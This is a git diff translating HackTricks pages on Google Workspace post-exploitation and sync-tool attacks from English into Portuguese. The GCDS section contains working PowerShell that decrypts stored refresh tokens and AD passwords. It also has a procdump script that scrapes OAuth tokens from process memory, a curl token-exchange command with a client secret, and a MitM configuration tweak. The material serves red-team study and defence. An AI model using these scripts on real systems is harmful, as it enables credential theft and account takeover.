||||
|
||||
|
||||
|
||||
|
||||
@@ -1,78 +1,74 @@
|
||||
# GWS - Post Exploitation
|
||||
# GWS - Pós Exploração
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Google Groups Privesc
|
||||
## Elevação de Privilégios no Google Groups
|
||||
|
||||
By default in workspace a **group** can be **freely accessed** by any member of the organization.\
|
||||
Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**.
|
||||
Por padrão, em workspace, um **grupo** pode ser **acessado livremente** por qualquer membro da organização.\
|
||||
O Workspace também permite **conceder permissões a grupos** (até permissões do GCP), então, se grupos podem ser ingressados e eles têm permissões extras, um atacante pode **abusar desse caminho para escalar privilégios**.
|
||||
|
||||
You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
Você pode precisar de acesso ao console para ingressar em grupos que permitem ser ingressados por qualquer um na org. Verifique as informações dos grupos em [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
|
||||
### Access Groups Mail info
|
||||
### Acesso às informações de e-mail dos Grupos
|
||||
|
||||
If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**.
|
||||
Se você conseguiu **comprometer uma sessão de usuário do Google**, a partir de [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) você pode ver o histórico de e-mails enviados para os grupos de e-mail dos quais o usuário é membro, e você pode encontrar **credenciais** ou outros **dados sensíveis**.
|
||||
|
||||
## GCP <--> GWS Pivoting
|
||||
## GCP <--> GWS Pivotando
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Takeout - Download Everything Google Knows about an account
|
||||
## Takeout - Baixar Tudo que o Google Sabe sobre uma conta
|
||||
|
||||
If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
Se você tem uma **sessão dentro da conta do google da vítima**, você pode baixar tudo que o Google salva sobre essa conta em [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
|
||||
## Vault - Download all the Workspace data of users
|
||||
## Vault - Baixar todos os dados do Workspace dos usuários
|
||||
|
||||
If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**.
|
||||
Se uma organização tem **Google Vault habilitado**, você pode acessar [**https://vault.google.com**](https://vault.google.com/u/1/) e **baixar** todas as **informações**.
|
||||
|
||||
## Contacts download
|
||||
## Download de Contatos
|
||||
|
||||
From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user.
|
||||
A partir de [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) você pode baixar todos os **contatos** do usuário.
|
||||
|
||||
## Cloudsearch
|
||||
|
||||
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**.
|
||||
Em [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) você pode apenas pesquisar **em todo o conteúdo do Workspace** (e-mail, drive, sites...) que um usuário tem acesso. Ideal para **encontrar rapidamente informações sensíveis**.
|
||||
|
||||
## Google Chat
|
||||
|
||||
In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any).
|
||||
Em [**https://mail.google.com/chat**](https://mail.google.com/chat) você pode acessar um **Chat** do Google, e você pode encontrar informações sensíveis nas conversas (se houver).
|
||||
|
||||
## Google Drive Mining
|
||||
## Mineração do Google Drive
|
||||
|
||||
When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**.
|
||||
Ao **compartilhar** um documento, você pode **especificar** as **pessoas** que podem acessá-lo uma a uma, **compartilhar** com sua **empresa inteira** (**ou** com alguns **grupos específicos**) gerando um link.
|
||||
|
||||
When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them.
|
||||
Ao compartilhar um documento, nas configurações avançadas você também pode **permitir que as pessoas pesquisem** por este arquivo (por **padrão** isso está **desativado**). No entanto, é importante notar que uma vez que os usuários visualizam um documento, ele se torna pesquisável por eles.
|
||||
|
||||
For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one.
|
||||
Para simplificar, a maioria das pessoas gerará e compartilhará um link em vez de adicionar as pessoas que podem acessar o documento uma a uma.
|
||||
|
||||
Some proposed ways to find all the documents:
|
||||
Algumas maneiras propostas para encontrar todos os documentos:
|
||||
|
||||
- Search in internal chat, forums...
|
||||
- **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
- Pesquisar em chats internos, fóruns...
|
||||
- **Spider** documentos **conhecidos** em busca de **referências** a outros documentos. Você pode fazer isso dentro de um App Script com [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
|
||||
## **Keep Notes**
|
||||
|
||||
In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here.
|
||||
Em [**https://keep.google.com/**](https://keep.google.com) você pode acessar as notas do usuário, **informações sensíveis** podem estar salvas aqui.
|
||||
|
||||
### Modify App Scripts
|
||||
### Modificar App Scripts
|
||||
|
||||
In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user.
|
||||
Em [**https://script.google.com/**](https://script.google.com/) você pode encontrar os APP Scripts do usuário.
|
||||
|
||||
## **Administrate Workspace**
|
||||
## **Administrar Workspace**
|
||||
|
||||
In [**https://admin.google.com**/](https://admin.google.com), you might be able to modify the Workspace settings of the whole organization if you have enough permissions.
|
||||
Em [**https://admin.google.com**/](https://admin.google.com), você pode ser capaz de modificar as configurações do Workspace de toda a organização se tiver permissões suficientes.
|
||||
|
||||
You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
Você também pode encontrar e-mails pesquisando em todas as faturas do usuário em [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, Como faço para Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
# GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
|
||||
# GWS - Ataques de Sincronização do Workspace (GCPW, GCDS, GPS, Sincronização de Diretório com AD & EntraID)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
|
||||
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
|
||||
Este é o login único que o Google Workspaces fornece para que os usuários possam fazer login em seus PCs com Windows usando **suas credenciais do Workspace**. Além disso, isso armazenará **tokens** para acessar o Google Workspace em alguns lugares no PC: Disco, memória e o registro... é até possível obter a **senha em texto claro**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
|
||||
> Note que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) é capaz de detectar **GCPW**, obter informações sobre a configuração e **até mesmo tokens**.
|
||||
|
||||
Find more information about this in:
|
||||
Encontre mais informações sobre isso em:
|
||||
|
||||
{{#ref}}
|
||||
gcpw-google-credential-provider-for-windows.md
|
||||
@@ -17,14 +17,14 @@ gcpw-google-credential-provider-for-windows.md
|
||||
|
||||
## GCSD - Google Cloud Directory Sync
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
Esta é uma ferramenta que pode ser usada para **sincronizar seus usuários e grupos do Active Directory com seu Workspace** (e não o contrário até o momento da escrita).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
É interessante porque é uma ferramenta que exigirá as **credenciais de um superusuário do Workspace e de um usuário privilegiado do AD**. Portanto, pode ser possível encontrá-la dentro de um servidor de domínio que estaria sincronizando usuários de tempos em tempos.
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Note que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) é capaz de detectar **GCDS**, obter informações sobre a configuração e **até mesmo as senhas e credenciais criptografadas**.
|
||||
|
||||
Find more information about this in:
|
||||
Encontre mais informações sobre isso em:
|
||||
|
||||
{{#ref}}
|
||||
gcds-google-cloud-directory-sync.md
|
||||
@@ -32,31 +32,27 @@ gcds-google-cloud-directory-sync.md
|
||||
|
||||
## GPS - Google Password Sync
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
Este é o binário e serviço que o Google oferece para **manter sincronizadas as senhas dos usuários entre o AD** e o Workspace. Sempre que um usuário altera sua senha no AD, ela é definida para o Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
Ele é instalado em `C:\Program Files\Google\Password Sync`, onde você pode encontrar o binário `PasswordSync.exe` para configurá-lo e `password_sync_service.exe` (o serviço que continuará em execução).
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Note que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) é capaz de detectar **GPS**, obter informações sobre a configuração e **até mesmo as senhas e credenciais criptografadas**.
|
||||
|
||||
Find more information about this in:
|
||||
Encontre mais informações sobre isso em:
|
||||
|
||||
{{#ref}}
|
||||
gps-google-password-sync.md
|
||||
{{#endref}}
|
||||
|
||||
## Admin Directory Sync
|
||||
## Sincronização de Diretório Admin
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
A principal diferença entre essa forma de sincronizar usuários com o GCDS é que o GCDS é feito manualmente com alguns binários que você precisa baixar e executar, enquanto **a Sincronização de Diretório Admin é sem servidor** gerenciada pelo Google em [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
Find more information about this in:
|
||||
Encontre mais informações sobre isso em:
|
||||
|
||||
{{#ref}}
|
||||
gws-admin-directory-sync.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,30 +2,29 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informações Básicas
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
Esta é uma ferramenta que pode ser usada para **sincronizar seus usuários e grupos do Active Directory com seu Workspace** (e não o contrário até o momento da escrita deste texto).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
É interessante porque é uma ferramenta que exigirá as **credenciais de um superusuário do Workspace e de um usuário privilegiado do AD**. Portanto, pode ser possível encontrá-la dentro de um servidor de domínio que estaria sincronizando usuários de tempos em tempos.
|
||||
|
||||
> [!NOTE]
|
||||
> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
> Para realizar um **MitM** no binário **`config-manager.exe`**, basta adicionar a seguinte linha no arquivo `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Note que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) é capaz de detectar **GCDS**, obter informações sobre a configuração e **até mesmo as senhas e credenciais criptografadas**.
|
||||
|
||||
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
|
||||
Além disso, note que o GCDS não sincronizará senhas do AD para o Workspace. Se algo, ele apenas gerará senhas aleatórias para usuários recém-criados no Workspace, como você pode ver na imagem a seguir:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
### GCDS - Disk Tokens & AD Credentials
|
||||
### GCDS - Tokens de Disco & Credenciais do AD
|
||||
|
||||
The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.
|
||||
O binário `config-manager.exe` (o binário principal do GCDS com GUI) armazenará as credenciais do Active Directory configuradas, o token de atualização e o acesso por padrão em um **arquivo xml** na pasta **`C:\Program Files\Google Cloud Directory Sync`** em um arquivo chamado **`Untitled-1.xml`** por padrão. Embora também possa ser salvo na pasta `Documents` do usuário ou em **qualquer outra pasta**.
|
||||
|
||||
Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.
|
||||
|
||||
The most interesting information inside the file would be:
|
||||
Além disso, o registro **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** dentro da chave **`open.recent`** contém os caminhos para todos os arquivos de configuração abertos recentemente (xmls). Portanto, é possível **verificá-lo para encontrá-los**.
|
||||
|
||||
As informações mais interessantes dentro do arquivo seriam:
|
||||
```xml
|
||||
[...]
|
||||
<loginMethod>OAUTH2</loginMethod>
|
||||
@@ -50,13 +49,11 @@ The most interesting information inside the file would be:
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
|
||||
Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.
|
||||
Note como o **refresh** **token** e a **senha** do usuário são **criptografados** usando **AES CBC** com uma chave e IV gerados aleatoriamente armazenados em **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (onde quer que a biblioteca Java **`prefs`** armazene as preferências) nas chaves de string **`/Encryption/Policy/V2.iv`** e **`/Encryption/Policy/V2.key`** armazenadas em base64.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell script to decrypt the refresh token and the password</summary>
|
||||
|
||||
<summary>Script Powershell para descriptografar o refresh token e a senha</summary>
|
||||
```powershell
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
@@ -66,34 +63,34 @@ $keyKeyName = "/Encryption/Policy/V2.key"
|
||||
|
||||
# Open the registry key
|
||||
try {
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
}
|
||||
|
||||
# Get Base64-encoded IV and Key from the registry
|
||||
try {
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
}
|
||||
$regKey.Close()
|
||||
|
||||
@@ -118,25 +115,25 @@ $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
|
||||
|
||||
# Function to decrypt data using AES CBC
|
||||
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
|
||||
return $plaintextBytes
|
||||
return $plaintextBytes
|
||||
}
|
||||
|
||||
# Decrypt the values
|
||||
@@ -150,23 +147,21 @@ $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBy
|
||||
Write-Host "Decrypted Refresh Token: $refreshToken"
|
||||
Write-Host "Decrypted Password: $decryptedPassword"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
|
||||
> Note que é possível verificar essa informação checando o código java de **`DirSync.jar`** em **`C:\Program Files\Google Cloud Directory Sync`** procurando pela string `exportkeys` (já que esse é o parâmetro cli que o binário `upgrade-config.exe` espera para despejar as chaves).
|
||||
|
||||
Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
|
||||
Em vez de usar o script do powershell, também é possível usar o binário **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** com o parâmetro `-exportKeys` e obter a **Key** e **IV** do registro em hex e então apenas usar algum cyberchef com AES/CBC e essa chave e IV para descriptografar a informação.
|
||||
|
||||
### GCDS - Dumping tokens from memory
|
||||
### GCDS - Despejando tokens da memória
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
Assim como com GCPW, é possível despejar a memória do processo do `config-manager.exe` (é o nome do binário principal do GCDS com GUI) e você poderá encontrar tokens de refresh e de acesso (se já tiverem sido gerados).\
|
||||
Acho que você também poderia encontrar as credenciais configuradas do AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump config-manager.exe processes and search tokens</summary>
|
||||
|
||||
<summary>Despejar processos config-manager.exe e buscar tokens</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -175,13 +170,13 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -189,96 +184,92 @@ $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyConti
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GCDS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GCDS - Gerando tokens de acesso a partir de tokens de atualização
|
||||
|
||||
Usando o token de atualização, é possível gerar tokens de acesso utilizando-o e o ID do cliente e o segredo do cliente especificados no seguinte comando:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GCDS - Scopes
|
||||
### GCDS - Escopos
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> Note que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os **escopos suportados pela aplicação onde você está gerando o token de acesso**.
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> Além disso, o token de atualização não é válido em todas as aplicações.
|
||||
|
||||
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
Por padrão, o GCSD não terá acesso como o usuário a todos os possíveis escopos OAuth, então usando o seguinte script podemos encontrar os escopos que podem ser usados com o `refresh_token` para gerar um `access_token`:
|
